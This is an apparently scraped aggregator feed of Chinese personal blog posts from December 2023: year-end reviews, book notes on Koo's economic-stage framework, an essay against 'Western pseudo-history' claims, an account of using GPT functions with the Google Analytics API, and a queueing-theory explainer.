但无论如何，我在那天早上花半小时写出来的这篇文章，完全没有任何对它能够传播起来的预期，说明我在这方面的判断力还是不够的。
三、理财
今年整体都是亏损的。
- 中证 500 指数增强，中证 1000 指数增强，元胜的 CTA 都是亏损，这部分亏损 10% 左右。
- 海外方面，我主要买的波司登和腾讯，整体也有 20% 左右的亏损。
- 医药方面，建平远航今年也是亏损的，估计有 20% 左右。
- 之前少配的一点点工银瑞幸债券略有收益，收益大概 3% 左右。
- 中低风险的理财也略有收益，收益大概 2.7% 左右。
中国的经济环境今年不太好，私人企业和 A 股的股民都缺乏信心，最大的担心就是政府的监管。所以能挣钱的业务（比如直播行业）就赶紧挣钱，相对短视，没什么长线的储备和规划；不挣钱的业务就裁员，想办法活下去。政府呢，一方面出台各种利好，一方面对言论大加管制，我认为是进一步让大家紧张了。一个宽松的营商环境是应该让大家可以随便说话的，连说话都随时担心被管，那就更别说做事情了。
我猜想了一下 24 年的中国经济。我认为政府主导还是经济增长的核心，这里面涉及增发货币和刺激经济的问题。大概率还是会从一些基建和新兴产业的建设入手，如果落地，未来中国会经历一波通胀。所以思前想后，我打算配置一些美元资产，以分散一点国内的风险。国家有外汇管制，所以看起来国内的 QDII 类的基金（比如 513500）是不错的考虑。现在标普 500 是历史最高点，所以只能定投来稍微降低一点建仓风险。
黄金一直是我自己想配置的资产，但是一直犹豫，结果今年黄金大涨，现在进场又不是好时候了。反思下来，一方面是自己对黄金相关的标的研究不足，不太有判断力持有哪种资产。另一方面是自己对黄金是否应该持有犹豫不决，所以受旁人的干扰比较大，定力太小。
四、演讲
今年回师大做了四场关于职场能力进阶的演讲，分别是：
- 第一性原理思考：解决问题的框架
- 理解工作：互联网公司的组织架构和文化
- 找到好工作：准备简历和面试
- 产品的 MVP：互联网产品的创新过程
演讲对我来说其实是一种变化，让我能够接触到很多新鲜的人和事，希望每年都有机会挑战一下自己。
五、23 年的目标回顾
工作上，23 年初定下的目标是希望提升自己的业务判断力和人员判断力。今年多多少少有一点进步吧，我发现上下对不齐的话团队不会长久。
理财上，23 年希望的是不折腾。今年整体确实没有折腾。唯一失败的就是没有配置一点黄金。
读书上，一共读了 8 本，完成了 6 本书的读书目标。
运动上，因为经常出差，游泳在下半年基本就断掉了，还是没能坚持下来。
六、24 年的目标
- 工作：
- 销售：搭建好销售团队，带好团队的核心成员。培养有共同价值观和长久共事意愿的同事。
- 产品：推进硬件产品的创新尝试。
- 理财：
- 定投少量标普 500，建立初始仓位。
- 在合适的时候减少 A 股的指数增强仓位。
- 个人：
- 读 6 本书。
- 很久没出国了，想抽空去一趟加拿大。
- 每月游泳一次。
- 积极乐观。
七、个人 Milestone
- 硬件售卖销售额超过了 2 亿。
- 博客 唐巧的博客 2023-12-31 20:54:29
一、序言
最近读完了中信出版社的《被追赶的经济体》，作者是辜朝明。辜朝明日本野村综合研究所的首席经济学家，也曾经在美国纽约联储银行担任经济学家。
作为一名经济学的非专业人士，我既从本书中收获了不少基础经济学知识，又学到了辜朝明开创的按照经济发展阶段来分析问题的底层框架。
以下是我的一些读书笔记。
二、经济发展的 3 个阶段
作者根据经济体工业化程度的不同，将经济发展划分为三个阶段（如下图）：
- 城镇化阶段
- 黄金时代
- 被追赶的阶段
图中的刘易斯拐点是指：经济增长的需求扩大，导致来自农村的农民工和其他的非熟练工人的供应不足，从而使得农民工的工资大幅度上升的情况。
2.1 城镇化阶段
在城镇化阶段，农村拥有大量剩余劳动力，由于劳动力供应充足，所以工人的工资非常低廉。由于人力成本低，所以需要人力的加工生产品在市场上具备价格优势。
这个阶段资本家利润丰厚，他们会将利润再投资以扩大生产。所以投资能够拉动经济快速增长。
1978 年的中国就处于这个阶段。那个时候改革开放，引入投资，利用劳动力充足优势迅速发展经济。
这个阶段贫富差距扩大，因为资本家挣得多，工人工资低，消费低迷。
2.2 黄金时代
在黄金时代，随着城镇化的基本完成，资本也扩张到了一个拐点：劳动力与生产力需求匹配，不再有大量剩余劳动力。
这个时候工人工资开始快速增长，收入不平等问题开始自我纠正。收入差距缩小。随着工人收入增加，消费也开始增长。
美国的黄金 60 年代（golden sixties）就是指这个阶段。
2.3 被追赶的阶段
黄金时代不会永远持续。当工人工资到达一个顶点后，其他国家的劳动力优势开始显现，这个时候就会有工厂把生产转移到别的国家。
随着国内的投资减少，被追赶的经济体经济增速放缓。投资减少意味着借款需求减少。家庭为了应对风险开始储蓄。
便宜的进口产品增加、工资增速放缓使得商品价格稳定，通胀率下降。借款需求减少导致利率不高。
在这个时代，收入不平等问题加剧。因为只有创新者才能有收入增长，底层的普通工人不再能享受以前时代增长的红利了。
如下图所示，美国的
5% 最高收入 / 20% 底部收入的占比在 1970 年后显著上升。
从美国的工资增长率（下图）来看，也能显著看出，在黄金时代，穷人工资增长快；在被追赶的时代，富人的工资增长更快。
三、借贷关系的 4 种情形
在上面提到的 3 个阶段基础上，作者提出了借贷关系的 4 种情形：
- 出借人和借款人都很充足
- 出借人 < 借款人，即使利率很高
- 出借人 > 借款人，即使利率很低
- 出借人和借款人同时很少
作者提出这样的观点源自传统观念认为借款人始终存在。但是在情况 3 和情况 4 中，借款人都变少了，因为：
- 借款人可能已经背负了较多债务，不愿再借钱了
- 国内没有比较好的投资机会
四、经济刺激方式和效果
政府刺激经济可以是：
- 货币政策：央行通过货币政策，为市场注入更多钱。货币政策包括利率、存款准备金等。
- 财政政策：政府部门主导基础设施建设。
分经济阶段来对比效果：
- 在城镇化阶段，财政政策比较有效。
- 在黄金时代，货币政策比较有效，财政政策如果推高了银行的借款利率，则会有挤出私人投资的可能。
- 在被追赶的时代，因为没有借款人，货币政策无效，财政政策因为没有挤出效应，因此比较有效。
五、如何应对被追赶的时代
作者提出了 3 个具体的办法。
5.1 保持财政政策，避免经济通缩
政府在这个时代应该充当借款人的角色，提高自己的债务上限，借款推动基础设施建设，以免经济衰退。
5.2 推进产业升级和创新，用高质量发展来提升国际竞争力
在被追赶的时代，国家已经没有廉价劳动力可以和其他发展中国家拼价格。所以，我们需要推进产业升级，用自动化来代替人力，降低成本。
我们也可以升级产品，给产品带来更高的技术壁垒。国家发展专精特新企业，就是在做这样的事情。
推动创新需要营造一个自由的创新氛围，这方面美国是全球的榜样。
5.3 改善教育，通过提升个人技能来提升整体生产力
书中提到，通过对比一个国际巡游的马戏团雇佣当地布展的工人工作效率，作者发现日本工人的效率是欧洲工人的两倍。这种效率最终会体现到产品或服务的竞争力上。
改善教育，就是让教育回归到与社会生产真正挂钩的技能本身。避免学校学的和社会需求脱节。这方面需要教育部门与时俱进地改进教学大纲，教材和激励老师讲好课。
我当年在北京师范大学读本科和研究生，这里面的老师按理说都很厉害，但我发现有一半左右的课听起来索然无味，可能是老师的考核主要是科研而不是授课。而大部分科研课题，因为太过前沿，与社会实践都是脱节的，无法商业化，所以并不能给学生带来有效的技能提升。
作为一个计算机专业学生，我最大的能力提升来源于：
- ACM/ICPC 国际大学生编程竞赛的备赛
- 帮导师给北师大成人教育计算机专业授课
- 在 IBM 中国研发中心的实习
- 和寝室同学接的网站开发外包
可惜以上这些都不是每一个计算机专业毕业生的必修课。很多人毕业后只会了考试，还需要进入职场二次培训学习。
六、中国所处的阶段
书中提到，即便是已经进入被追赶的时代，如果国家能够激发出新的创新产品，有效改善国际竞争力，同时人才教育能够跟上，那么国家可能再一次回到黄金时代。
书中没有写，但是我感觉到中国处于黄金时代的末期，因为我们的 GDP 一直高速增长。
现在，我们面对出口萎缩、房地产调整、创新环境不够自由的问题，如果可以通过财政政策、鼓励创新、大力发展高质量教育找到新的增长点的话，我们将继续高速增长。
这是一本非常好的书，推荐给大家。
- 博客 二丫讲梵 2023-12-31 20:49:33如要阅读全文，点击标题跳转。MySQL 有一个语句是 UPSERT 的操作，它结合了 update 和 insert 两种操作的功能。当执行 upsert 操作时，如果指定的记录已经存在，则执行更新操作；如果指定的记录不存在，则执行插入操作。这种操作可以用来确保数据的一致性，并且可以减少对数据库的访问次数。
- 博客 oldj's blog 2023-12-31 12:55:00
最近看了一些西方伪史论的言论，觉得很是荒诞，也写一点看法。
所谓西方伪史论，大体上就是认为西方的历史（部分甚至大部分）是伪造的，更深一层的思想则是认为西方也不过尔尔，没什么了不起的。
关于西方伪史的言论，一开始是一些人质疑西方历史中可能有造假的部分，这还属于正常的探讨。接着，一些人继续推进，认为古希腊的哲人比如亚里士多德等都是假的，流传下来的著作都是后人的伪作，这时的种种论点就有点经不住推敲了。再接着，既然西方那些先贤不存在，那么那些思想是哪里来的呢？有人就说全部源自古代中国，是被西方偷走的，更有甚者认为《几何原本》也是中国古人写的，现代科学也是中国古人发明的，还例举了种种所谓的“证据”，将西方文明贬得一无是处，同时将中国古代文明无限拔高。这些言论荒诞不经，错漏百出，但大概听着让人高兴，于是附和者甚多。
那些西方伪史论的鼓吹者，不知是真的相信这套理论，还是只是为了利益或者吸引流量故意语出惊人。不过，显然他们并不是最早这么做的，西方伪史论并不是什么新奇的东西，一百多年前，严复先生在《救亡决论》中就曾写道：
“晚近更有一种自居名流，于西洋格致诸学，仅得诸耳剽之余，于其实际，从未讨论。意欲扬己抑人，夸张博雅，则于古书中猎取近似陈言，谓西学皆中土所已有，羌无新奇。……
“……尤可笑者，近有人略识洋务，着论西学，其言曰：「欲制胜于人，必先知其成法，而后能变通克敌。彼萃数十国人才，穷数百年智力，掷亿万赀财，而后得之，勒为成书，公诸人而不私诸己，广其学而不秘其传者，何也？彼实窃我中国古圣之绪余，精益求精，以还中国，虽欲私焉，而天有所不许也。」有此种令人呕哕议论，足见中国民智之卑。”
也就是说，早在晚清时期，“西方伪史论”、“西方科技是从中国偷的”这类言论就已经存在了，现在那些动机可疑的鼓吹者们也不过是拾人牙慧，却偏偏一个个以“独立思考”、“世人皆醉我独醒”的姿态在网络上大放厥词。
近代以来，西方领先世界已有数百年，这期间尤其是最近一百多年里，世界各国有无数学者穷尽毕生精力，不断研究总结西方领先的秘密，各类学说、著作汗牛充栋。倘若真如西方伪史论者所说，西方的科技都是从中国偷的，如此大规模的偷窃不可能没有痕迹留下来，为何一百多年来从未有人给出让人信服的证据？西方世界并不是一个整体，内部也常常互相拆台，甚至多次打得头破血流，并非铁板一块，难道他们偏偏就能在“科技是从中国偷的”这个话题上统一守口如瓶，这么多年没能让外人找到丝毫证据？
晚清时期，中华持续数千年“天朝上国”的地位被打破，国家和民族跌入深渊，这种心理上的强烈落差让人很难接受，人们迫切需要一些理论能让他们在面对西方文明时能保持一些心理优势，于是，西方伪史论应运而生。
现在我们则又走到了另一个重要的历史节点，经过无数国人的艰苦奋斗，中华文明再度崛起，已到达重回世界巅峰的前夜，但由于此前上百年落后的阴影实在太大，很多人面对西方时仍然不够自信，他们需要一种理论，证明我们配得上复兴后的地位，于是西方伪史论便再次有了土壤。
中国古代有过辉煌，留下了无数光彩夺目的思想和成果，但我们也不可否认，在近代我们落后了，西方文明有其值得学习之处。
我们确实需要重建自信，但这种自信应该实事求是，而不是建立在臆想或者对对手的无脑贬低之上。我们祖祖辈辈都在这块土地上奋斗，我们强大过，也落魄过，现在，我们通过数代人勤奋踏实的努力再次找回了一度丢失的东西，并且我们知道，即使再遭遇挫折我们也有勇气以及韧性重新站起来，这才是我们自信的底气。
而那些夸张荒诞的西方伪史论，或许能兴起一时，博得若干眼球，却终将贻笑大方，被扫入历史的垃圾堆。
- 博客 程序员的喵 2023-12-31 06:36:00
2023 年很快就要结束了，赶紧抓住这个冲动总结一下。今年对我来说有几个大的转变，从几个方面谈起：
生活
生活上最大的变化是我又有了一个儿子，所以我现在是三个孩子的父亲了。
同龄人中几乎没有生三胎的，有些人问我为什么这么想不开，自己找罪受。我只能说是命运的馈赠吧，我从小生活在一个大家庭里，加上我和老婆都算是喜欢小孩的人，三胎顺其自然地接受了，这个孩子也促使了我们更早地离开了苏州。
孩子 8 月底出生，前两个月请到了一个靠谱的月嫂，所以生活方面还不算痛苦。最近女儿生病才开始感受到三个孩子带来的巨大挑战，看来我们是低估了其难度。
我的大女儿开始在深圳上一年级，没想到现在的一年级都这么卷，基本上每天都有语数外作业，一个月一次的考试。我们力不从心已经放弃了一些家庭作业，比如数学之类的无聊作业我们就不怎么做，我认为每个小孩的大脑发育有自己的节奏，小学数学这种东西到了年龄自己会懂，小学阶段重要的是培养学习习惯和兴趣，强压给孩子只会让她产生对数学的恐惧。陪小孩做作业真是一件极其需要耐心的事情，我现在还在努力尝试从孩子的角度考虑问题。
三个孩子带来的另外一件事情就是冲突，大女儿心情好的时候会带着小的玩，心情不好的时候就会和妹妹争东西。如何在这些孩子中平衡，在吵闹中克服情绪去解决问题，这些都是在磨炼心性。
纪伯伦在《论孩子》中写到：你的孩子，其实不是你的孩子，他们藉助你来到这个世界，却非因你而来，他们属于你做梦也无法达到的明天。
有孩子之前我觉得养育孩子重要的是把他们当朋友，但真的等孩子三岁后有了更多自主意识之后，作为父母就会面临更多困难，什么时候该管教孩子，什么时候该放任他们。有时候我也忍不住发火，而后又觉得自己是个失败的父亲，心里多默念『还只是个孩子』几遍，如何做一个好父亲这必然是我今后一直需要学习的。
生活中的另一个变化是今年身体状态更好了，可能是因为深圳的暖和天气更适合我，加上在家办公出去本职工作外，没感受到什么职场上的琐事和压力，另外在家里办公相关的设备更适合自己，所以整体身体上没有大的问题。
但从心理方面，我能感受到和以前的更大差别，主要是彻底接受了中年这个年龄阶段。这是一点点积累起来的，那些曾经我看着长大的晚辈们都到了谈婚论嫁的年龄，或者偶然想起一些人和事心里一算已经是十多二十年前了，或是我发现自己某些方面更像印象中的父亲了。
我的生活看起来极其单调，不是坐在屏幕前写程序就是在带娃和遛娃，和梦想与激情这些词汇毫不沾边。但我满足并感恩目前的状态，我几乎没有焦虑，物欲低所以也不觉得缺钱，做着自己喜欢的工作和事情，有足够多的时间陪家人，这就很好了。
工作
2023 我全职远程做开源项目，很幸运在 Cryptape 这大半年里工作感受非常好，这大概是我工作这么多年来写程序最开心的一段时间。因为远程办公，今年我的人际圈子似乎更小了，日常微信沟通的都是些认识了 10 来年的朋友。
我的工作主要是做区块链 Layer 1 相关的事情，入职以后做的事情是交易池这块，后来又涉及到一些 RPC 相关的工作，还有些 Infra 类的工作。区块链这行涉及范围太多了，有网络、性能、分布式、密码学等各种，所以对于纯喜欢技术的人来说，这里面挑战太多，比 CRUD 之类的项目好玩得多。
我做的主要工作都是集中在 nervosnetwork/ckb这个项目，这里可以看到我做的一些 Pull requests。
另外现在日常工作中纯用 Rust，编程体验和之前完全不是一个层次，除了如何实现功能，我们也会在乎项目的长期可维护性和优雅程度。区块链 Layer 1 也算是一个复杂度高和对准确度要求很高的项目，Rust 是很适合的。我虽然这两年一直在写 Rust 代码和做开源，但之前还真没有用 Rust 在实际工作中，特别是异步这块我之前甚少涉及。同事中有对 Rust 理解很深入的人，沟通也很顺畅，所以我特别喜欢这个工作氛围。
在工作过程中我看了更多 Bitcoin 相关的代码，越发觉得这真是一个伟大的发明，这像是个黑客用技术发起的社会性实验，在 beta 阶段就能如此深刻地影响了世界。关于 Bitcoin 推荐看这一系列文章 比特币的过去、现在和未来。
开源
今年继续在为 Rust compiler 做贡献，能回想到的一些事情是：
- 参与了一个播客的录制 于康的 Rust 贡献之旅 – RustTalk。
- 参加了第三界 Rust Conf，做了一个主题为 Learning by Contributing to Rust Compiler 的演讲。
- 成功申请 Rust Foundation 2023 Follows 的资助，算是一个开源副业。
- 今年大概完成 70 来个 PR，大多数时候还是做一些小改进，很多时间花在了这个 New attribute macros format for diagnostic structs 上。
- 机缘巧合和 compiler team 的 davidtwco 在深圳吃了个饭面基了一次，线上和更多社区成员沟通更多了，同时深感英语口语需要进一步提高。
因为在 Cryptape 的工作涉及到其他一些 Rust 项目，所以参与到了一些，比如我们在改造交易池的过程中用到了
multi_index_map这个数据结构，顺带完善了一些不足 Non-unique index support, capacity operations, performance improvement 。作为技术人，能全职使用自己喜欢的编程语言工作是一个很大的幸运，希望能继续在 Rust 开源这条路上走得更远。
阅读和写作
2023 看书的时间也少了很多，回顾了一下很多书没有看完，但这些书看完后值得分享：
- 《硅谷钢铁侠：埃隆·马斯克的冒险人生》，这就是那些改变世界的人吧
- 《失明症漫记》，似乎是重新回顾一遍疫情的场景
- 如果我们亵渎生活的尊严，我们也就扭曲了理智；而人的尊严每天都会受到我们世界中权势者的侮辱；普遍的谎言已经替代了多元的真理；人一旦失去来自其他成员的尊重，他也就不再尊重自己。
- 《作个闲人：苏东坡的治愈主义》，这书我估计我年轻的时候看不进去，现在看就觉得很好：
- 人生如逆旅，我亦是行人
- 可以寓意于物，而不可以留意于物
- 一张琴，一壶酒，一溪云
- 《走出戈壁》优秀的人在逆境中也能成长起来。
- 《了不起的盖茨比》也许是因为我先看了电影，所以再看书就满脑子小李子那样子，也许有的作品就不应该看电影。
- 《被讨厌的勇气》，一切烦恼都来自人际关系，让干涉你生活的人去见鬼，解决了一些我的日常困惑。
- 《哲学家们都干了些什么》，你思考过的很多问题，前人必然已经思考过了。
- 《夜晚的潜水艇》，这就是文笔好。我喜欢里面的《裁云记》
- 值得人沉迷一生的事太多了。像你说的，每个洞穴都充满诱惑，难以取舍。我年轻时也在分岔处犹豫过。后来我才明白，不是所有洞口都陈列在那里，任人选择；有的埋伏在暗处：我一脚踏空，就一头栽了下来，到现在也没有落到底。
- 《美国种族简史》
- 《高山下的花环》
- 《凤凰项目，一个 IT 运维的传奇故事》
同样在写作上的时间就更少了，总结下来居然是 13 篇博客，勉强达到月更的节奏。
写作这件事情似乎停下来之后就容易长时间停顿。带孩子太耗精力算是一个借口，但我其实很是可以把一些日常的琐碎时间利用好来做这件事情的，只是确实犯懒了。
希望借这次写年终总结的劲头，把写作这件事情捡起来。
- 博客 王子亭的博客 2023-12-31 01:00:00
今年 3 月我和蛋黄一起去了泰国旅行，算是我们两个第一次在国外「自由行」，我们先去拜访了之前一起在番茄土豆工作的朋友们，他们热情地招待了我们，带我们在清迈玩了三天，参观了他们的办公室，还体验了泰式按摩、一起玩狼人杀、爬山。之后我们又去了普吉岛，感受沙滩和大海，在岛上骑摩托车。
在经过几年稳定的工作和疫情封控之后，这是我第一次去体会不一样的生活方式 —— 也许除了在国内一线城市扎根，或者移民发达国家，还可以适当地放弃一些执念，来获得一个更简单的生活。经过这么多年，我也意识到了自己并不是一个喜欢竞争的人，更想要也更适合一个「低竞争」的环境。这时我感觉自己仿佛站在人生的分叉口，要不要考虑去到中国的二线城市或者甚至泰国生活呢？但蛋黄还是很简单地把我劝了回来 —— 毕竟去了加拿大以后还可以后悔回来，但现在躺平的话后悔可就去不了加拿大了。
9 月时我们还去了日本旅行，因为一直以来都在通过各种影视和游戏作品了解日本的生活习惯和文化，所以日本可能是我们最熟悉的国家了，到日本一下飞机果然是这种感觉 —— 真就和我们印象中的日本一模一样。我们在日本去了环球影城的任天堂园区、任天堂商店、藤子·F·不二雄博物馆、秋叶原，哆啦 A 梦和马里奥这些我们所熟知的形象在日本真的是无处不在。日本由新干线、电车和地铁构成的交通网络非常发达，没有安检、换乘方便、区分快慢车，很多商圈也是以一个电车站为中心，但价格确实不便宜，我们在日本总共竟然花了 1200 人民币来乘坐地铁和电车
在日本我们也拜访了一位年初才移居日本的前同事，他们距离东京市中心乘电车大概一个半小时，带我们逛了他们所在的居民区和超时。这里和新宿这样的商业区完全不同，密度比较低，街道非常干净整洁，就像是很多影视作品里的日本小镇。
在经历了 去年的疫情封控 之后，我便下定决心要将我们之前移居加拿大的计划提上日程，并以最高的优先级来执行。在经过了 2022 下半年的调研和准备后，我们决定由蛋黄申请留学签证，我作为配偶申请开放工签的方式移居加拿大。在我们准备签证的过程中，因为公司的一些变化，工作给我带来的压力和不适越来越大，所以在提交了我的签证申请之后，我马上就 离开了 TapTap 和 LeanCloud，准备休息一段时间，然后准备搬家。
在离职之后的这段时间，我开发并发布了 HostedBeans。这是我作为独立开发者的第一个尝试，我希望能利用上之前那么多年的工程经验，设计和开发一些体量较小，但能带来长期价值的产品，也能从中获得收入。
本来我们都已经买了 11 月 11 日的机票，准备带着皮蛋豆腐和所有东西一起搬到加拿大。然而到 9 月时我们发现，我的签证进入到了一个通常耗时半年以上的一个安全审查（Security Screening）的流程中，而蛋黄的开学时间也没法再推迟了。
其实在一开始我们就确定了两个人一定要一起出发，不能分开。但现在我们几乎已经走到了最后一步，安全审查除了等待时间比较长，几乎不可能拒签，难道要在这个时候放弃么？我很清楚这段时长并不确定的异地并不是我想要的，会给我们的关系带来很大的考验。但所有的朋友都觉得不能错过这个机会，理性上当然应该这样做，所以蛋黄在 12 月 25 日一个人出发去了加拿大，在 2023 的年底，我们暂时分开。
- 博客 MiaoTony's Blog 2023-12-30 23:33:33548
- 博客 Jiajun的编程随想 2023-12-30 08:00:00《读《打造真正的新产品》》这本书豆瓣评分很低，但是我觉得还不错，下面是摘录和我的理解，文章较短。---...
- 博客 二丫讲梵 2023-12-29 07:26:46如要阅读全文，点击标题跳转。学习周刊-总第139期-一个开源的ssl证书监控系统
- 博客 太隐 2023-12-26 19:09:29穷理于事物始生之处，研几于心意初动之时
- 博客 Jiajun的编程随想 2023-12-26 08:00:00《2023年终总结》可能时间踩下了油门，完全不顾我们是否愿意，嗖的一声，就到了和2023道别的时刻。## 今年成就...
- 博客 太隐 2023-12-24 13:04:16永远比时代超前10年
- 博客 太隐 2023-12-23 20:04:46554
- 博客 Randy's Blog 2023-12-22 08:00:00555
- 博客 二丫讲梵 2023-12-22 06:01:07如要阅读全文，点击标题跳转。学习周刊-总第138期-又一款开源的elasticsearch管控端项目
- 博客 王登科-DK博客 2023-12-21 15:17:51自从几个月前我开始用 AI 改造热量记录工具，发现效果不错之后，我就开始琢磨用 AI 干点更复杂的事情，想必很多人都和我一样，对于网络上铺天盖地的AI毁灭世界论，以及实际上看到最多的例子就是用AI来生成色图和软文的现状，感到有点不满。 在这篇文章，我会讲述一个实际例子，一个试图让 AI 能力和复杂逻辑相结合，成为一个更好用的工具的例子，在这个过程中，我也发现了在面对多维复杂性时——输入的复杂和处理的复杂，即便是最顶尖的 AI 模型也难以解决的问题。
Google Analytics
我是一个Google Analytics( Google 统计)的用户，Google统计，也被称之为 GA，应该是最老牌的网站统计服务之一，网站统计服务，某种意义上，是任何网站和 app 都必须使用的服务，你只需要在代码中植入一小段，然后就能直观的看到你的网站有多少人来过，他们看了些什么，他们从哪里来等等。
去年，Google 统计进行了改版，升级为了 GA4，这项升级前卫但复杂，很多老用户对新版 Google 统计感到茫然，因为熟悉的东西都没了，想看一些针对性的数据，需要自己创建报告，这又是一个极其复杂的页面：
搭配 GA4，Google 也一起发布了新的 API，调用这些 API，可以从GA 获得任何你想要的数据。因此，当我看到 openai 发布 functions 功能后，我开始意识到，我也许能用AI来改造 GA，让它更人性化一点。
GPT functions
我的构想非常简单，用户输入希望看到的数据，交由 gpt functions 转化为需要调用的API，然后再去 GA调用API，然后将获得的数据进行渲染。 但当我真正开始了解 gpt functions 的时候，我发现这里还差得远。 首先 gpt functions 支持的参数类型非常有限，主要是枚举和字符串，但是当我需要以数组类型传递参数，并且数组包含的值是枚举中的不确定的几个的时候，functions 就完全没办法实现。 然而让我懵逼的不是这个，而是即便我按照文档，在输入中确定了枚举的值，gpt 依然会有幻觉，捏造出一个不在枚举中的字符串。这种情况的 GPT 有点类似于下面的领导。
解决这两个问题花费了我大量时间，事实是我其实没办法「解决」，而只是「绕过」了这些问题，我根据 Google 文档，手写了大量规则来修正模型输出的错误。
在这些工作完成后，我终于可以做出一个 demo，它具备这样的能力：你直接描述你想要看到什么数据，然后就能看到，例如：
这个原型产品其实花费了我大量的精力，因为我需要把 Google的 API 全部捋一遍，在这个过程中，我发现了我面对的这些 API 的复杂之处。
GA 的核心 API，叫做 runReport，核心参数主要有两个，一个是维度（dimension），一个是指标（metric），例如，把城市设定为纬度，总用户设定为指标，那么就能获取每个城市的用户：
GA 支持相当多的纬度和相当多的指标（大几十种）
将这些指标和纬度告诉 gpt，并让其选择合适的，似乎行得通，但马上我们会遇到更复杂一些的情况。
复杂之处
GA 的接口，支持你传入多个纬度和多个指标，这让获得的数据变成了多维的，例如，维度设定为「城市」和「日期」，指标依然是「总用户」，那么 GA 会将每个城市和每天的总用户都输出，当我需要知道北京11月21日有多少用户访问时，合理的设置多个纬度就可以达到这个目的。 但这只是第一层的复杂度，即多维度，多指标。 GA 同时支持一个叫做「筛选」的参数，这个筛选参数非常复杂，也非常强大，它支持纬度的筛选和指标的筛选，并且每个筛选都支持多种控制逻辑：和/与/非
而在和/与/非逻辑之中，还可以设定匹配类型和匹配逻辑，甚至可以写正则。
同样在上面的例子中，如果我想知道「北京11月21日有多少用户访问」，除了设定多个纬度之外，更简单的办法则是设置单一维度「日期」，但是将筛选项设定为「城市包含北京」
这是第二层复杂度，即筛选逻辑的控制。
然而，GA 还有一个接口，即 batchRunReports，同时获取多个数据报告，每个报告都包含独立的纬度，指标和筛选，并汇总给你，在面对相当复杂的需求时，往往需要汇总多个报告的数据才能达到目的，而这是第三层复杂度。
在梳理 API 的同时，我也在对 GPT 能力进行实验，我发现即便还不涉及到第一种复杂度，gpt functions已经错误频出，而当我要求其设置多个纬度和参数时，给出的结果更是糟糕——我用的是GPT4，这应该是目前最智慧的大模型。
GPT 似乎只能处理最简单的情况，例如「过去一周的活跃用户」或「最受欢迎的页面有哪些」，这些情况仅下，需要一个纬度和一个指标就能获得合适的数据，但如果我的需求描述的再复杂一点，例如「来自北京的用户最喜欢浏览什么页面」，那么极大概率 GPT 就无法给出正确的参数。
讲道理，如果因为上面的问题，认为 GPT 很愚蠢，那就很愚蠢了，因为我给 GPT 的任务，其实是复杂的数据分析任务，这里面需要：
1.判断用户的问题和需求
2.筛选可能适合的字段和接口使用方式
3.合理的使用这些字段，得到精确的调用参数
这些需求并不简单，能够从 GA 中手动获取到「来自北京的用户最喜欢浏览什么页面」，并且进一步给出一些建议和结论的人，理论上已经可以胜任初级的数据分析师了，拿几千块钱一个月应该问题不大。
可能的办法
事实上，确实可以通过一些办法来提高效果，例如，用 agent 思维，将一个查询拆分成多个数据获取任务，然后每个任务都通过GPT 函数给出接口运行的参数，然后再进行汇总。 但这个过程过于复杂，而且很难进行完全的工程化，还会造成成本直接提高数倍，所以目前还很难运用到项目上。 另一种方案是将 gpt 进行微调，喂入 GA API 文档的相关数据，理论上这应该可以让模型对接口更熟悉，也会更容易给出合理的参数，但是这一步成本则更加高昂，并且 GPT4 还没有微调的接口开放，所以我没有测试。 正因为如此，这个项目我撸了一周之后，发现它变得有点鸡肋：它确实实现了将口语表达的查询，转化成直接的数据图表和结论，但当你的需求比较复杂的时候，它则会失效，而后者，才是我开始希望做这个产品的原因。 目前这个产品我已经发布到线上了，虽然我设置了付费计划，但我不认为真的会有人愿意为之付费，因为就目前的能力来说，它能获取的数据只有最浅表的一层，能够给出的结论和分析也浮于表面，如果你感兴趣，可以直接去试试看（GACopilot）。 但另一方面，我毫不怀疑，随着模型能力的提高，或者一些新的模型工具和使用思维的诞生，这一工具可以变得更有用，我也确信，当下的这些问题并非能够通过 prompt 工程来解决，也正因为如此，这才是一个更有价值的 AI 能力的应用方向。 这是我的一点探索，大模型事实上已经进入我们的日常生活了，但我认为还只是一个非常早期的开始，与我们息息相关的越来越多的东西都会融入大模型的能力，但很明显，离 AGI 或者能毁灭人类，还有相当遥远的时间。 - 博客 oldj's blog 2023-12-19 11:09:00
看到一篇有趣的短文《增加新的柜员后会发生什么？》，讲的是排队论。
银行柜员问题
文章中讨论了这样的一个问题：
假设一家小银行只有一名柜员，每位顾客平均需要 10 分钟的服务时间，每小时预计有 5.8 位顾客到达，那么预计每位顾客的等待时间是多少？
乍一看之下，每小时有 60 分钟，但只有 5.8 位顾客到达，即平均每 10.3 分钟才有一位新顾客到达，同时每位顾客平均只需要 10 分钟的服务时间，似乎一位柜员就足够服务好这些顾客了，每位顾客都不用等待或者不会等待太久？
但事情显然不会这么简单，假设顾客到达的时间和所需的服务时长都是随机的，那么每位顾客在得到柜员服务之前，平均需要等待近 5 小时之久！
为什么会这样？其实稍加思考，我们就能发现端倪，因为那个 10 分钟只是平均时间，但每位顾客所需的实际时间差异可能会很大，有人可能只需要一两分钟，有人则可能会需要几十分钟甚至几小时，而一旦遇到一位需要长时间服务的顾客，所有后来的顾客都只能排队等待。同时，顾客的到达时间间隔也不是严格的 10.3 分钟，有时可能几十分钟甚至几个小时都没人来，有时则一下子连着来了好几位顾客。
那么，如果增加一位柜员会怎么样呢？
你或许会以为，增加了一位柜员后服务处理能力加倍，那么顾客的平均等待时间也应该对应地减半，平均每位顾客大概只需要等待两个多小时吧？但事实上，增加一位柜员后，顾客的平均等待时间会一下子下降到 3 分钟，仅为原来的 \(\frac{1}{93}\)。
也就是说，只有一位柜员时，顾客的平均等待时间可能会长得难以接受，但增加一位新的柜员之后，顾客的体验就相当良好了。
原因也很简单，当有两个柜台同时提供服务时，如果一个柜台被阻塞了，顾客可以转向另一个柜台，而不用在后面干等。当然，也存在连着来了两位需要长时间服务的顾客的情况，这时两个柜台都被阻塞，新顾客仍然需要长时间等待，但在上面讨论的这个场景中，这种情况发生的概率很低，对等待时间的平均值影响非常微小。
泊松分布和指数分布
在统计学上，顾客的到达时间一般认为符合泊松分布，顾客所需的服务时长一般认为符合指数分布，两者都是非常常见的分布。
泊松分布通常用于描述在固定时间或空间内随机发生的离散事件的次数。比如上面例子中，不断有顾客进入银行，具体什么时候有顾客进入是一个随机事件，无法预测，但我们可以估算“指定的一段时长（比如 1 小时）内有 \(n\) 位顾客到达”的概率 \(P\) 是多少，公式如下：
\[P(X=n)=\frac{e^{-\lambda}\lambda^{n}}{n!}\]
